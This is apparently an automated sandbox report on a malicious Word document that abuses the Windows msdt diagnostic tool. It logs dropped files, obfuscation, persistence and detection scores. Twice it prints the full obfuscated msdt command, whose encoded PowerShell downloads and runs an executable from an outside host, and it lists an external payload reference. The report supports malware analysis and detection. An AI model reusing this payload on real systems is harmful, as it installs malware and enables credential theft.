Source: DiagPackage.dll.mui.4.dr Static PE information: No import functions for PE file found
Source: DiagPackage.dll.4.dr Static PE information: No import functions for PE file found
Source: PMoZbw.exe.17.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: Payment copy_2911022.docx.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\Payment copy_2911022.docx.doc
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word Jump to behavior
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winDOC@18/35@9/3
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: Payment copy_2911022.docx.doc ReversingLabs: Detection: 41%
Source: Payment copy_2911022.docx.doc Virustotal: Detection: 46%
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: unknown Process created: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE C:\Program Files (x86)\Microsoft Office\Office16\MsoSync.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Windows\SysWOW64\msdt.exe C:\Windows\system32\msdt.exe" ms-msdt:/ID pcwdIAGNOstIC /SKIp fOrCe /PaRAm "it_rEBRowSEFoRFIlE=#6Aw IT_LaunchMethod=ContextMenu IT_BrowseForFile=4N0$(iEX($(iex('[SYsTeM.text.EnCoDIng]'+[cHAr]58+[chAR]0x3a+'uTf8.gEtString([SyStEm.CoNVErt]'+[chAR]58+[CHAR]0X3a+'FRoMBAse64sTriNg('+[Char]0X22+'U1RPcC1wUm9jRVNTIC1GT1JDZSAtTkFtZSAnbXNkdCc7JDggPSBBZGQtdFlQZSAtTUVtQkVyZEVGSU5pdGlPTiAnW0RsbEltcG9ydCgiVXJMTW9uLmRsbCIsIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgSkcsc3RyaW5nIFVXYSxzdHJpbmcgcFksdWludCBlYyxJbnRQdHIgcnEpOycgLU5BbUUgIlFDIiAtbmFNRVNwYUNFIGd1IC1QYXNzVGhydTsgJDg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHBzOi8vcHpzcmJsb2cuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDEyL1BST01ad0ZwMzg1dlhyTi5leGUiLCIkRW5WOkFQUERBVEFcUFJPTVp3RnAzODV2WHJOLmV4ZSIsMCwwKTtTdGFSVC1zbEVlcCgzKTtJbnZPa0UtSVRlbSAiJGVudjpBUFBEQVRBXFBST01ad0ZwMzg1dlhyTi5leGUiO3N0T3AtUFJPY2VTUyAtZk9SY0UgLW5hbWUgJ3NkaWFnbmhvc3Qn'+[chaR]0x22+'))'))))m3/../../../../../../../../../../../../../../../../.Exe
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yjsbg2wl\yjsbg2wl.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBBFF.tmp" "c:\Users\user\AppData\Local\Temp\yjsbg2wl\CSCC31FCDA79CE4E0C894720F359978C2.TMP"
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zf01cjt2\zf01cjt2.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC7C7.tmp" "c:\Users\user\AppData\Local\Temp\zf01cjt2\CSCBCE7B9C025BF4B8F8112717E4D466AA3.TMP"
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mnm1snwx\mnm1snwx.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE5AF.tmp" "c:\Users\user\AppData\Local\Temp\mnm1snwx\CSCC987513427A042F884BC2F5ADDB1C11C.TMP"
Source: unknown Process created: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe "C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe"
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process created: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe {path}
Source: unknown Process created: C:\Users\user\AppData\Roaming\PMoZbw\PMoZbw.exe "C:\Users\user\AppData\Roaming\PMoZbw\PMoZbw.exe"
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE C:\Program Files (x86)\Microsoft Office\Office16\MsoSync.exe Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process created: C:\Windows\SysWOW64\msdt.exe C:\Windows\system32\msdt.exe" ms-msdt:/ID pcwdIAGNOstIC /SKIp fOrCe /PaRAm "it_rEBRowSEFoRFIlE=#6Aw IT_LaunchMethod=ContextMenu IT_BrowseForFile=4N0$(iEX($(iex('[SYsTeM.text.EnCoDIng]'+[cHAr]58+[chAR]0x3a+'uTf8.gEtString([SyStEm.CoNVErt]'+[chAR]58+[CHAR]0X3a+'FRoMBAse64sTriNg('+[Char]0X22+'U1RPcC1wUm9jRVNTIC1GT1JDZSAtTkFtZSAnbXNkdCc7JDggPSBBZGQtdFlQZSAtTUVtQkVyZEVGSU5pdGlPTiAnW0RsbEltcG9ydCgiVXJMTW9uLmRsbCIsIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgSkcsc3RyaW5nIFVXYSxzdHJpbmcgcFksdWludCBlYyxJbnRQdHIgcnEpOycgLU5BbUUgIlFDIiAtbmFNRVNwYUNFIGd1IC1QYXNzVGhydTsgJDg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHBzOi8vcHpzcmJsb2cuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDEyL1BST01ad0ZwMzg1dlhyTi5leGUiLCIkRW5WOkFQUERBVEFcUFJPTVp3RnAzODV2WHJOLmV4ZSIsMCwwKTtTdGFSVC1zbEVlcCgzKTtJbnZPa0UtSVRlbSAiJGVudjpBUFBEQVRBXFBST01ad0ZwMzg1dlhyTi5leGUiO3N0T3AtUFJPY2VTUyAtZk9SY0UgLW5hbWUgJ3NkaWFnbmhvc3Qn'+[chaR]0x22+'))'))))m3/../../../../../../../../../../../../../../../../.Exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBBFF.tmp" "c:\Users\user\AppData\Local\Temp\yjsbg2wl\CSCC31FCDA79CE4E0C894720F359978C2.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC7C7.tmp" "c:\Users\user\AppData\Local\Temp\zf01cjt2\CSCBCE7B9C025BF4B8F8112717E4D466AA3.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE5AF.tmp" "c:\Users\user\AppData\Local\Temp\mnm1snwx\CSCC987513427A042F884BC2F5ADDB1C11C.TMP" Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Process created: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe {path} Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{88d96a05-f192-11d4-a65f-0040963251e5}\InProcServer32 Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\{E888FDBC-8FC8-436F-BA76-B0281CF96291} - OProcSessId.dat Jump to behavior
Source: PROMZwFp385vXrN.exe, 00000011.00000002.628741170.000000000332D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File written: C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.ini Jump to behavior
Source: 15.0.PROMZwFp385vXrN.exe.7b0000.0.unpack, wSdw78jkfQ8V3Hyi0v/xcQxBNKQ91ktbrVpBN.cs Cryptographic APIs: 'CreateDecryptor'
Source: 15.0.PROMZwFp385vXrN.exe.7b0000.0.unpack, wSdw78jkfQ8V3Hyi0v/xcQxBNKQ91ktbrVpBN.cs Cryptographic APIs: 'CreateDecryptor'
Source: 17.0.PROMZwFp385vXrN.exe.400000.0.unpack, A/f2.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 17.0.PROMZwFp385vXrN.exe.400000.0.unpack, A/f2.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe Automated click: Next
Source: C:\Windows\SysWOW64\msdt.exe File opened: C:\Windows\SysWOW64\MSFTEDIT.DLL Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: Payment copy_2911022.docx.doc Initial sample: OLE zip file path = word/media/image1.jpg
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE File opened: C:\Windows\SysWOW64\MSVCR100.dll Jump to behavior
Source: Binary string: oI4HW.pdbh' source: PROMZwFp385vXrN.exe, 0000000F.00000000.476154274.00000000007B2000.00000002.00000001.01000000.0000000B.sdmp, PMoZbw.exe.17.dr
Source: Binary string: oI4HW.pdb source: PROMZwFp385vXrN.exe, 0000000F.00000000.476154274.00000000007B2000.00000002.00000001.01000000.0000000B.sdmp, PMoZbw.exe.17.dr

Data Obfuscation
barindex
.NET source code contains method to dynamically call methods (often used by packers)
Source: 15.0.PROMZwFp385vXrN.exe.7b0000.0.unpack, wSdw78jkfQ8V3Hyi0v/xcQxBNKQ91ktbrVpBN.cs .Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_05B75532 push eax; retf 15_2_05B75511
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_05B75510 push eax; retf 15_2_05B75511
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C350C8 push eax; ret 15_2_08C350CE
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C3510C push eax; ret 15_2_08C35112
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C33A95 push ds; ret 15_2_08C33A96
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C363A7 pushad ; ret 15_2_08C363AA
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C363AC push 0000005Eh; ret 15_2_08C363AE
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C33B03 push ds; ret 15_2_08C33B06
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C33C3F push ds; ret 15_2_08C33C4A
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C31784 push cs; ret 15_2_08C3178A
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 15_2_08C31773 push ss; ret 15_2_08C31776
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 17_2_061B5CA0 push eax; iretd 17_2_061B5CAD
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 17_2_061BB118 push 8B000005h; retf 17_2_061BB11F
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 17_2_06D32A47 push edi; retn 0000h 17_2_06D32A49
Compiles C# or VB.Net code
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yjsbg2wl\yjsbg2wl.cmdline
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zf01cjt2\zf01cjt2.cmdline
Source: unknown Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mnm1snwx\mnm1snwx.cmdline
Source: initial sample Static PE information: section name: .text entropy: 7.701152052416849
Source: 15.0.PROMZwFp385vXrN.exe.7b0000.0.unpack, wSdw78jkfQ8V3Hyi0v/xcQxBNKQ91ktbrVpBN.cs High entropy of concatenated method names: '.cctor', 'Fu1FU4djqmDhg', 'Cacv1IYjpG', 'piXvti4wNQ', 'ALkvTlQ60P', 'YiLvlhqNFg', 'oLOv4DvLPW', 'hyVvrqLIei', 'qLRvHyC17x', 'rHLveynBi1'
Source: 15.0.PROMZwFp385vXrN.exe.7b0000.0.unpack, wSdw78jkfQ8V3Hyi0v/Cw4NSQLaXXyjEwpvW5.cs High entropy of concatenated method names: '.ctor', 'Dispose', 'mR5VmGhHHq', 'QRHMvpmWJv', 'TYJMdNpog7', 'DHtMNxute0', 'UrVMZyjCGr', 'vRLT5Ab4qZ', 'YdMTmyldP0', 'Vy7TBo44IP'
Source: 15.0.PROMZwFp385vXrN.exe.7b0000.0.unpack, wSdw78jkfQ8V3Hyi0v/SX6X9GsWYPpTlZmGHE.cs High entropy of concatenated method names: '.ctor', 'aCNjrFil56', 'd81jHVjvyJ', 'pA6jeOASuE', 'UFZjCw2hYN', 'd3KjpZKaPW', 'yrbjnApmgm', 'rJ4jfO2hmo', 'ngPjoEK9JT', 'Dispose'
Source: 15.0.PROMZwFp385vXrN.exe.7b0000.0.unpack, wSdw78jkfQ8V3Hyi0v/WpJYxadxdWxBbWQwdk.cs High entropy of concatenated method names: '.ctor', 'Dispose', 'fLhTAnBkWp', 'qR2TnjiE19', 'r0tTsW9pTS', 'qCHTqfDVUd', 'nlETglxBig', 'n8rTkNNA44', 'Q96T4xOXwW', 'gDmTckoq9m'
Source: 15.0.PROMZwFp385vXrN.exe.7b0000.0.unpack, wSdw78jkfQ8V3Hyi0v/CjIWH3vxc1xKvslLRt.cs High entropy of concatenated method names: '.ctor', 'Dispose', 'fLhTAnBkWp', 'qR2TnjiE19', 'V3hTeRcjrJ', 'hjATuyniQy', 'r0tTsW9pTS', 'qCHTqfDVUd', 'nlETglxBig', 'n8rTkNNA44'
Source: 15.0.PROMZwFp385vXrN.exe.7b0000.0.unpack, wSdw78jkfQ8V3Hyi0v/j5lRjLYjk7bvnDuqC4.cs High entropy of concatenated method names: '.cctor', '.ctor', 'MRNX2Yjj1k', 'Dispose', 'V3hTeRcjrJ', 'hjATuyniQy', 'PZUopuV0ZR', 'LYkoVp7A0J', 'bmTolCML9D', 'XbvoP2DvfD'
Source: 15.0.PROMZwFp385vXrN.exe.7b0000.0.unpack, wSdw78jkfQ8V3Hyi0v/mtuOa5S3Tp4AAONJfH.cs High entropy of concatenated method names: '.ctor', 'Dispose', 'R5eXGVI79E', 'wnnTzy1kDt', 'GTAMKLUS95', 'QRHMvpmWJv', 'TYJMdNpog7', 'vRLT5Ab4qZ', 'YdMTmyldP0', 'aa4TpqpFnv'
Source: 15.0.PROMZwFp385vXrN.exe.7b0000.0.unpack, wSdw78jkfQ8V3Hyi0v/GVB1SfxmnmyMfuxbmf.cs High entropy of concatenated method names: '.ctor', 'Dispose', 'H8yuS81PnG', 'Wr5RwRTupn', 'uPbRjdVnUJ', 'MFpRAfQRIE', 'XNRRntEB5f', 'MjPReDfXns', 'Vj1RupcDOe', 'KXPRstwr9r'
Source: 15.0.PROMZwFp385vXrN.exe.7b0000.0.unpack, wSdw78jkfQ8V3Hyi0v/yJqi4q6AWHmirVFKMh.cs High entropy of concatenated method names: '.ctor', 'Dispose', 'FxuAgRcQx', 'PI2TSQXemT', 'RLfTUZOfu7', 'jwnTawCrpj', 'QyiT8DDdQo', 'UKnT6TfkRf', 'xMRTbfpwfE', 'JgrTX9KZ4t'
Source: 15.0.PROMZwFp385vXrN.exe.7b0000.0.unpack, wSdw78jkfQ8V3Hyi0v/ScFkWj7uxcaxMdsf4h.cs High entropy of concatenated method names: '.ctor', 'Dispose', 'v31Bp7Svsl', 'zQNivLyfde', 'CmIidjPnvh', 'Sk6i7fF6vH', 'UxmiJwEu1I', 'rtxiLxoU28', 'cDoiTUyb8u', 'j6WMGkQcre'

Persistence and Installation Behavior
barindex
Contains an external reference to another file
Source: document.xml.rels Extracted files from sample: mhtml:https://pzsrblog.com/wp-content/uploads/2012/promzwfp385vxr!x-usc:https://pzsrblog.com/wp-content/uploads/2012/promzwfp385vxr
Drops PE files
Source: C:\Windows\SysWOW64\msdt.exe File created: C:\Windows\Temp\SDIAG_4fa3b06e-fc60-4be1-bad6-e51754719c96\en-US\DiagPackage.dll.mui Jump to dropped file
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe File created: C:\Users\user\AppData\Roaming\PMoZbw\PMoZbw.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\mnm1snwx\mnm1snwx.dll Jump to dropped file
Source: C:\Windows\SysWOW64\msdt.exe File created: C:\Windows\Temp\SDIAG_4fa3b06e-fc60-4be1-bad6-e51754719c96\DiagPackage.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\zf01cjt2\zf01cjt2.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\yjsbg2wl\yjsbg2wl.dll Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\SysWOW64\msdt.exe File created: C:\Windows\Temp\SDIAG_4fa3b06e-fc60-4be1-bad6-e51754719c96\en-US\DiagPackage.dll.mui Jump to dropped file
Source: C:\Windows\SysWOW64\msdt.exe File created: C:\Windows\Temp\SDIAG_4fa3b06e-fc60-4be1-bad6-e51754719c96\DiagPackage.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run PMoZbw Jump to behavior
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run PMoZbw Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe File opened: C:\Users\user\AppData\Roaming\PMoZbw\PMoZbw.exe:Zone.Identifier read attributes | delete Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE Registry key monitored for changes: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
